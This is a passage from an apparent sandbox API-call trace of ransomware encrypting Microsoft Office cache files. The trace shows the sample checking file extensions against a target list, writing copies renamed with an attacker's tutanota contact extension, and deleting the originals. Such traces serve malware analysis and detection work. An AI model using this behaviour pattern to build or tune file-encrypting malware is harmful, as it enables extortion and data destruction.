lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0049.753] SetEndOfFile (hFile=0x1e8) returned 1 [0049.754] CloseHandle (hObject=0x1e8) returned 1 [0049.754] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.755] SetEndOfFile (hFile=0x1fc) returned 1 [0049.756] CloseHandle (hObject=0x1fc) returned 1 [0049.756] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.757] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0049.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.757] lstrlenW (lpString=".doc") returned 4 [0049.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.757] lstrlenW (lpString=".docx") returned 5 [0049.757] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0049.757] lstrlenW (lpString=".pdf") returned 4 [0049.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.757] lstrlenW (lpString=".xls") returned 4 [0049.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.757] lstrlenW (lpString=".xlsx") returned 5 [0049.757] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0049.757] lstrlenW (lpString=".ppt") returned 4 [0049.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.757] lstrlenW (lpString=".zip") returned 4 [0049.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.758] lstrlenW (lpString=".rar") returned 4 [0049.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.758] lstrlenW (lpString=".bz2") returned 4 [0049.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.758] lstrlenW (lpString=".7z") returned 3 [0049.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.758] lstrlenW (lpString=".dbf") returned 4 [0049.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.758] lstrlenW (lpString=".1cd") returned 4 [0049.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.758] lstrlenW (lpString=".jpg") returned 4 [0049.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.758] lstrlenW (lpString=".doc") returned 4 [0049.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.759] lstrlenW (lpString=".docx") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0049.759] lstrlenW (lpString=".pdf") returned 4 [0049.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.759] lstrlenW (lpString=".xls") returned 4 [0049.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.759] lstrlenW (lpString=".xlsx") returned 5 [0049.759] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0049.759] lstrlenW (lpString=".ppt") returned 4 [0049.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.759] lstrlenW (lpString=".zip") returned 4 [0049.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.759] lstrlenW (lpString=".rar") returned 4 [0049.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.759] lstrlenW (lpString=".bz2") returned 4 [0049.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.759] lstrlenW (lpString=".7z") returned 3 [0049.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.759] lstrlenW (lpString=".dbf") returned 4 [0049.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.760] lstrlenW (lpString=".1cd") returned 4 [0049.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.760] lstrlenW (lpString=".jpg") returned 4 [0049.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.760] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.760] lstrlenW (lpString="Setup.xml") returned 9 [0049.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.760] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=31094) returned 1 [0049.761] CloseHandle (hObject=0x1fc) returned 1 [0049.761] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.761] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.761] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.762] GetLastError () returned 0x0 [0049.762] ReadFile (in: hFile=0x1fc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x7976, lpOverlapped=0x0) returned 1 [0049.765] WriteFile (in: hFile=0x1e8, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0049.767] ReadFile (in: hFile=0x1fc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.767] WriteFile (in: hFile=0x1e8, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.767] SetEndOfFile (hFile=0x1e8) returned 1 [0049.768] CloseHandle (hObject=0x1e8) returned 1 [0049.769] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.769] SetEndOfFile (hFile=0x1fc) returned 1 [0049.771] CloseHandle (hObject=0x1fc) returned 1 [0049.771] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.771] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0049.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.772] lstrlenW (lpString=".doc") returned 4 [0049.772] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.772] lstrlenW (lpString=".docx") returned 5 [0049.772] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0049.772] lstrlenW (lpString=".pdf") returned 4 [0049.772] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.772] lstrlenW (lpString=".xls") returned 4 [0049.772] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.772] lstrlenW (lpString=".xlsx") returned 5 [0049.772] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0049.772] lstrlenW (lpString=".ppt") returned 4 [0049.772] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.772] lstrlenW (lpString=".zip") returned 4 [0049.772] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.772] lstrlenW (lpString=".rar") returned 4 [0049.772] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.772] lstrlenW (lpString=".bz2") returned 4 [0049.772] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.773] lstrlenW (lpString=".7z") returned 3 [0049.773] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.773] lstrlenW (lpString=".dbf") returned 4 [0049.773] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.773] lstrlenW (lpString=".1cd") returned 4 [0049.773] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.773] lstrlenW (lpString=".jpg") returned 4 [0049.773] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.773] lstrlenW (lpString=".doc") returned 4 [0049.773] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.773] lstrlenW (lpString=".docx") returned 5 [0049.773] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0049.773] lstrlenW (lpString=".pdf") returned 4 [0049.773] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.773] lstrlenW (lpString=".xls") returned 4 [0049.773] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.774] lstrlenW (lpString=".xlsx") returned 5 [0049.774] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0049.774] lstrlenW (lpString=".ppt") returned 4 [0049.774] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.774] lstrlenW (lpString=".zip") returned 4 [0049.774] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.774] lstrlenW (lpString=".rar") returned 4 [0049.774] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.774] lstrlenW (lpString=".bz2") returned 4 [0049.774] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.774] lstrlenW (lpString=".7z") returned 3 [0049.774] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.774] lstrlenW (lpString=".dbf") returned 4 [0049.774] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.774] lstrlenW (lpString=".1cd") returned 4 [0049.774] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0049.774] lstrlenW (lpString=".jpg") returned 4 [0049.774] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.775] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.775] lstrlenW (lpString="Office32WW.xml") returned 14 [0049.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.776] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=4274) returned 1 [0049.776] CloseHandle (hObject=0x1fc) returned 1 [0049.777] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0049.777] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.777] GetLastError () returned 0x0 [0049.777] ReadFile (in: hFile=0x1fc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0049.781] WriteFile (in: hFile=0x1e8, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0049.783] ReadFile (in: hFile=0x1fc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.783] WriteFile (in: hFile=0x1e8, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0049.783] SetEndOfFile (hFile=0x1e8) returned 1 [0049.783] CloseHandle (hObject=0x1e8) returned 1 [0049.784] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.784] SetEndOfFile (hFile=0x1fc) returned 1 [0049.786] CloseHandle (hObject=0x1fc) returned 1 [0049.786] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.786] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0049.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.787] lstrlenW (lpString=".doc") returned 4 [0049.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.787] lstrlenW (lpString=".docx") returned 5 [0049.787] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0049.787] lstrlenW (lpString=".pdf") returned 4 [0049.787] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.787] lstrlenW (lpString=".xls") returned 4 [0049.787] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.787] lstrlenW (lpString=".xlsx") returned 5 [0049.787] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0049.787] lstrlenW (lpString=".ppt") returned 4 [0049.787] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.787] lstrlenW (lpString=".zip") returned 4 [0049.787] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.787] lstrlenW (lpString=".rar") returned 4 [0049.787] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.787] lstrlenW (lpString=".bz2") returned 4 [0049.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.788] lstrlenW (lpString=".7z") returned 3 [0049.788] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.788] lstrlenW (lpString=".dbf") returned 4 [0049.788] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.788] lstrlenW (lpString=".1cd") returned 4 [0049.788] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.788] lstrlenW (lpString=".jpg") returned 4 [0049.788] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.788] lstrlenW (lpString=".doc") returned 4 [0049.788] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.788] lstrlenW (lpString=".docx") returned 5 [0049.788] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0049.788] lstrlenW (lpString=".pdf") returned 4 [0049.788] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.788] lstrlenW (lpString=".xls") returned 4 [0049.788] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.789] lstrlenW (lpString=".xlsx") returned 5 [0049.789] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0049.789] lstrlenW (lpString=".ppt") returned 4 [0049.789] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.789] lstrlenW (lpString=".zip") returned 4 [0049.789] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.789] lstrlenW (lpString=".rar") returned 4 [0049.789] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.789] lstrlenW (lpString=".bz2") returned 4 [0049.789] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.789] lstrlenW (lpString=".7z") returned 3 [0049.789] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.789] lstrlenW (lpString=".dbf") returned 4 [0049.789] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.789] lstrlenW (lpString=".1cd") returned 4 [0049.789] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0049.789] lstrlenW (lpString=".jpg") returned 4 [0049.790] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.790] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.790] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0049.790] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.075] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=6421) returned 1 [0050.075] CloseHandle (hObject=0x20c) returned 1 [0050.075] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0050.075] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.075] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.075] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.075] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.075] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.076] GetLastError () returned 0x0 [0050.076] ReadFile (in: hFile=0x20c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x1915, lpOverlapped=0x0) returned 1 [0050.163] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0050.165] ReadFile (in: hFile=0x20c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: 